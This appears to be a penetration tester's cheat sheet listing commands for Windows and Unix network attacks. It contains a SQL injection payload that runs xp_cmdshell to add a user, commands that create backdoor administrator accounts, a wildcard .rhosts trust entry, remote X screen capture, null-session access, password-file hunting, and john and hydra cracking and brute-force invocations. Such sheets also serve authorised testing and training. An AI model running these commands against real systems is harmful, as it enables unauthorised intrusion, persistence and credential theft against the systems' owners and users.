Windows –

Domain:	Comment
net view	list computers on domain
net view \\<target name/ip>	list shares on host
net view /domain	list domains
net view /domain:<domain name>	list computers on named domain
net user edward williams /add	add a user
net localgroup Administrators edward /add	add to administrators group
nbtscan 192.168.226.0/24	Scans smb domain

Domain Controllers:	Comment
nltest /dclist:<domain name>	Domain controllers
nltest /dsgetdc:<domain name> /pdc	More pdc info
nltest /bdc_query:<domain name>	bdc info (if any)
nltest /server:<ip> /trusted_domains	Need null share

Hosts:	Comment
net use \\<target>\ipc$ “” /u:””	null session
nbtstat -a <name> / -A <ip>	netbios name table and target mac
epdump <target>	look for ips in endpoints
enum -SUPc	enum shares/users/password policy

SQL:	Comment
‘;Exec xp_cmdshell ‘net user <user> <passwd> /add’;--	beware of password complexity issues
sp_configure 'show advanced options', 1 reconfigure sp_configure 'xp_cmdshell', 1 reconfigure	set advanced options then use next statement: this will re-enable xp_cmdshell if turned off

Windows Misc:	Comment
dir filename /s	Find file called filename and all sub dirs
findstr /S /I “password” *.txt or findstr /S /I /M “password” *.txt (just print files)	Find all occurrences of password in text files
psexec \\192.168.0.1 -s cmd.exe	Null session first
Tasklist /? Tasklist /svc Tasklist /FI "USERNAME eq NT AUTHORITY\SYSTEM" /SVC Then Sc qc <servicename>	

Linux / Unix -

NFS:	Comment
showmount -e <target>	displays exports
sudo mount -t nfs <target>:/<export> <mount point>	don’t forget to mkdir mount point
adduser --uid <uid> --gid <gid> <username>	note password policy on local (+6 chars)
su - <user> and ssh-keygen	Switch and gen keys for ssh
X	Comment
xwininfo -tree -root -display <ip>:0 | grep -i term	will pipe back hex value for window
xwd –root -display <ip>:0.0 | xwud	capture screen
xwd -id <hex value> -display <ip>:0 | xwud	capture specific screen
xkill -display <ip>:0	kill process/window
x-dumper.sh	

SCP:	Comment
scp file ed@ninja:/home/ed	copy file to ninja
scp ed@ninja:/home/ed/file file	copy file from ninja

Putty Copy:	Comment
pscp.exe ed@192.168.226.162:/home/ed/Desktop/test.txt c:\	Copy from ssh host to c:\

Finger:	Comment
finger -l @target, 0@target, .@target, **@target	long list
finger (**user**, admin, ..)@target	various flaws in finger
finger '1 2 3 4 5 6 7 8 9 0'@target	Solaris 8 Bug

R Services:	Comment
echo + + > /usr/bin/.rhosts	– look in users home dir
	check /etc/hosts.equiv

John	Comment
unshadow /etc/passwd /etc/shadow > file	Change /etc/john/john.conf to match min passwd req.
john –i:mode file	
john –wordlist=words.txt file	

hydra	Comment
hydra –e ns –l user –P words.txt –v <ip> smb	bash it

Unix Misc:	Comment
find . -type f -name *payroll*	Solaris find file names

2>/dev/null (case sensitive) find . -type f | grep -i 'Payroll' 2>/dev/null (case insensitive)	
find . -type f -exec grep -i -l 'Payroll' '{}' \; 2>/dev/null	Solaris find file content
find / -type f –iname ‘*Payroll*’ 2>/dev/null	Linux find file names
grep –i –l –r whatever * 2>/dev/null	Linux find file contents
find / -type f –exec grep –i –l “password” ‘{}’ \; 2>/dev/null Or grep –i –l ‘password’ * find / -type f -print | grep -i "passwd" 2>/dev/null	Find files Solaris find case insensitive
find / -type f \(–perm -04000 -o –perm -02000 \) 2>/dev/null	SUID / SGID (-o)
find / -type f –perm -002	Word writable
showrev –p, uname –a, pkginfo -x	Solaris patch info
netstat –nap – list processes and ports (needs sudo) lsof –i :port lsof –p <pid> -P (-P gives port) ps –ef (list processes)	
export PATH=$PATH:/whatever (bash) PATH=$PATH:/whatever export PATH (sh)	Add path in BASH/sh shell – valid for terminal session only

Network Mapping	Comment
dig @<nameserver> <domain name> axfr	Zone transfer
traceroute <target>	Default udp (-I ICMP, -T TCP, default port 80).
ping -R <target>	Record route, read from bottom up.